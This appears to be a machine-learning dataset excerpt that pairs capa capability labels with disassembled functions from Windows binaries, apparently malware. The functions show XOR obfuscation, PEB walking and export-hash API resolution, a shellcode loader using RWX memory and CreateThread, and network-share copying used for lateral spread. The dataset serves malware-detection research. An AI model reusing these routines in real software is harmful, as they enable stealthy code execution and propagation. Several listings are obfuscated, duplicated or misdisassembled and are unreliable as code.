joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007065
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x10007087
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x10007229
cmp edi, dword [ebp + 0x10]
jb 0x10007229
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.10006b51
inc edi
jmp 0x10007110
jmp 0x1000711d
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10006b51
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10006b51
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x10007171
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x10007155
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1000719f
add dword [eax], 0x39
jle 0x1000717b
sub al, 0xf5
mov ch, al
call fcn.100071b4
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x10008e8c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x10008ea2
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x10008eb3
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.10008ef4
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x1000b260
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1000b1a9
add ebx, 0
push ecx
call 0x1000b1be
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6d4750b1
sub ebx, dword [0x6d4948f0]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6d4948e0
call fcn.10006c88
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.10006196
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1000b31c
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1000b31c
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1000b2d3
mov eax, 1
lock xchg dword [0x6d4948ec], eax
push 0x3dd1fc71
call 0x1000b260
push esi
add esp, 8
cmp eax, 0
jne 0x1000b249
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1000b26f
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1000b284
cmp ecx, edx
cmp eax, 0
je 0x1000b2a9
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1000b293
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1000b2c2
dec eax
loope 0x1000b2c5
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6d4948ec], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1000b2f9
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1000b30e
jmp 0x1000b319
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1000b207
Function at 0x10012381
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x10012657
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6d481564
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6d47852a
push 0xffffffffffffffff
call fcn.10009581
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100123eb
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.10012403
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1001264b
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1001261f
Function at 0x10021e51
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10021e73
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10021e73
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10021e73
ret
cmp word [ebx + 4], 0x14c
jne 0x10021e73
test word [ebx + 0x16], 2
je 0x10021e73
test word [ebx + 0x16], 0x100
je 0x10021e73
cmp word [ebx + 0x18], 0x10b
jne 0x10021e73
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10021e73
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10021eff
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10021e93
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10008dde
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10021e73
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x10021eff
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10021e73
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10021e73
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10021e73
ret
cmp word [ebx + 4], 0x14c
jne 0x10021e73
test word [ebx + 0x16], 2
je 0x10021e73
test word [ebx + 0x16], 0x100
je 0x10021e73
cmp word [ebx + 0x18], 0x10b
jne 0x10021e73
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10021e73
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10021eff
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10021e93
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10008dde
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10021e73
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10021fb6
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1002200f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10021fb6
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10021fc5
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10427c68
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10022016
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10008e8c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100220b5
add edi, 4
add eax, 2
dec ecx
jne 0x10021ffb
call 0x10022062
loope 0x10022058
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100220b2
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100220c3
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10022076
cmp eax, ecx
ja 0x10022076
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10022100
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100220f6
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1000936b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10021fc5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1002200f
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10021fb6
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10021fc5
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10427c68
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10022016
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10008e8c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100220b5
add edi, 4
add eax, 2
dec ecx
jne 0x10021ffb
call 0x10022062
loope 0x10022058
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100220b2
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100220c3
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10022076
cmp eax, ecx
ja 0x10022076
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10022100
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100220f6
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1000936b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x4011a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
push 0x4da78
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4011bd
pop esi
pop ebx
pop ecx
ret
push edi
mov ecx, 0x1369e
add esi, 0x4da90
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea eax, [esp + 0xc]
push eax
push 0x40
push 0x4da78
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.CreateThread
push str.KERNEL32.dll
call esi
push eax
call edi
push 0
push 0
push ebx
push ebx
push 0
push 0
call eax
pop edi
pop esi
mov eax, 1
pop ebx
pop ecx
ret

Function at 0x4012a0
Capabilities:
Create thread
Resolve dns

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, ecx
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
jne 0x4012c5
pop edi
mov eax, 1
pop ebx
add esp, 0x10
ret 8
push str.socket
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4012e9
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
mov eax, 1
pop ebx
add esp, 0x10
ret 8
push 6
push 1
push 2
call eax
cmp eax, 0xffffffff
mov dword [edi + 8], eax
jne 0x401303
pop edi
xor eax, eax
pop ebx
add esp, 0x10
ret 8
push ebp
mov ebp, dword [esp + 0x24]
push esi
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebp
mov esi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov ecx, dword [esi + 0xc]
push str.connect
push ebx
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [edi + 8]
lea ecx, [esp + 0x10]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x40136d
mov eax, dword [edi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [edi + 0xc]
push 0x3e8
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x401309
push 0
push 0
push edi
push 0x401390
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
pop ebp
pop edi
mov eax, 1
pop ebx
add esp, 0x10
ret 8
Function at 0x401444
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040265c
test esi, esi
jne 0x40147a
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00402748
jmp 0x401498
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00401358
mov edi, eax
test esi, esi
je 0x401498
cmp dword [ebx], 0
je 0x401498
dec esi
jmp 0x401481
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4019fc
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x40b008], 0x8088405
inc edx
mov dword [ebx + 0x40b008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x402618
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.004011b8
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x40c02c], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4025e0
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x403b40
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x198], edx
mov dword [ebp - 0x194], edx
mov edi, eax
xor eax, eax
push ebp
push 0x403c56
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x190]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x403c29
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x403c1f
mov esi, dword [eax + 0xc]
xor ebx, ebx
jmp 0x403c19
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x194]
call fcn.00402848
mov edx, dword [ebp - 0x194]
mov eax, 0x403c6c
call fcn.00402c10
dec eax
je 0x403c18
mov eax, dword [esi + ebx*4]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x198]
call fcn.00402848
mov edx, dword [ebp - 0x198]
mov eax, 0x403c78
call fcn.00402c10
dec eax
je 0x403c18
mov eax, dword [esi + ebx*4]
mov al, byte [eax]
mov byte [edi + 4], al
mov eax, dword [esi + ebx*4]
mov al, byte [eax + 1]
mov byte [edi + 5], al
mov eax, dword [esi + ebx*4]
mov al, byte [eax + 2]
mov byte [edi + 6], al
mov eax, dword [esi + ebx*4]
mov al, byte [eax + 3]
mov byte [edi + 7], al
jmp 0x403c1f
inc ebx
cmp dword [esi + ebx*4], 0
jne 0x403b9f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x403c33
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403c5d
lea eax, [ebp - 0x198]
mov edx, 2
call fcn.00402680
ret
Function at 0x403d24
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, edx
mov eax, ebx
call fcn.00402ad0
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x403d41
and eax, 0x10
cmp eax, 0x10
je 0x403d45
xor eax, eax
jmp 0x403d47
mov al, 1
neg al
sbb eax, eax
pop ebx
ret
Function at 0x4045f0
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00402ac0
xor eax, eax
push ebp
push 0x404824
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push dword [eax + 0x14]
push 0x404840
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00402998
mov dword [ebp - 0x3c], 1
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 8]
call fcn.00402ad0
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
call fcn.004028d8
push eax
mov eax, dword [ebp - 0x14]
call fcn.00402ad0
push eax
push 0
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
call fcn.00403d50
test eax, eax
je 0x404699
mov ax, 4
mov word [ebp - 0xe], 0x65
jmp 0x4046a1
xor eax, eax
mov word [ebp - 0xe], 0
movzx eax, ax
test eax, eax
jl 0x4047d1
inc eax
mov dword [ebp - 0x18], eax
mov eax, 0x40b258
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0xe]
test eax, eax
jl 0x4047c4
inc eax
mov dword [ebp - 0x1c], eax
mov edi, 0x40b0c0
push 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
call fcn.00402ad0
push eax
mov eax, dword [edi]
call fcn.00402ad0
push eax
lea eax, [ebp - 0x40]
push eax
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x4047b8
mov esi, 4
mov ebx, 0x40b0b0
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 0x2c]
call fcn.00402848
lea eax, [ebp - 0x44]
mov edx, dword [ebx]
call fcn.004028e0
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.00403d24
test eax, eax
je 0x404797
push 0
push dword [ebp - 8]
push dword [ebx]
push 0x40484c
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.00402998
mov eax, dword [ebp - 0x48]
call fcn.00402ad0
push eax
lea edx, [ebp - 0x4c]
xor eax, eax
call fcn.00401444
mov eax, dword [ebp - 0x4c]
call fcn.00402ad0
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x404797
inc dword [0x40c6a4]
call fcn.00403d50
test eax, eax
je 0x404790
push dword [ebp - 8]
push dword [ebx]
push 0x404860
lea eax, [ebp - 0x50]
mov edx, 3
call fcn.00402998
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 4]
call fcn.00403d7c
mov dword [ebp - 0xc], 0xffffffff
add ebx, 4
dec esi
jne 0x4046fd
mov ebx, 0x15
push 0xffffffffffffffff
mov eax, dword [ebp - 0x2c]
push eax
call sub.mpr.dll_WNetCancelConnectionA
test eax, eax
je 0x4047b8
dec ebx
jne 0x4047a6
add edi, 4
dec dword [ebp - 0x1c]
jne 0x4046cd
add dword [ebp - 0x20], 4
dec dword [ebp - 0x18]
jne 0x4046b8
push 0x404874
push dword [ebp - 8]
push 0x4048a0
lea eax, [ebp - 0x54]
mov edx, 3
call fcn.00402998
mov eax, dword [ebp - 0x54]
mov edx, dword [0x40c6a8]
call fcn.00403c7c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40482b
lea eax, [ebp - 0x54]
mov edx, 5
call fcn.00402680
lea eax, [ebp - 0x14]
call fcn.0040265c
lea eax, [ebp - 8]
call fcn.0040265c
ret
Function at 0x405790
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
mov edx, 0x40
call fcn.00403930
ret
Function at 0x406250
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402ac0
xor eax, eax
push ebp
push 0x4062de
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.004019dc
mov dword [ebp - 0x48], 0x44
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], 0xa
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00402ad0
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4062c6
xor ebx, ebx
jmp 0x4062c8
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4062e5
lea eax, [ebp - 4]
call fcn.0040265c
ret

Function at 0x4062ec
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, eax
mov eax, ebx
call fcn.0040265c
push esp
push 0x104
call sub.kernel32.dll_GetTempPathA
test eax, eax
je 0x406330
mov eax, ebx
mov edx, esp
call fcn.00402848
mov eax, dword [ebx]
call fcn.004028d8
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x5c
je 0x406330
mov eax, ebx
mov edx, 0x406340
call fcn.004028e0
add esp, 0x108
pop ebx
ret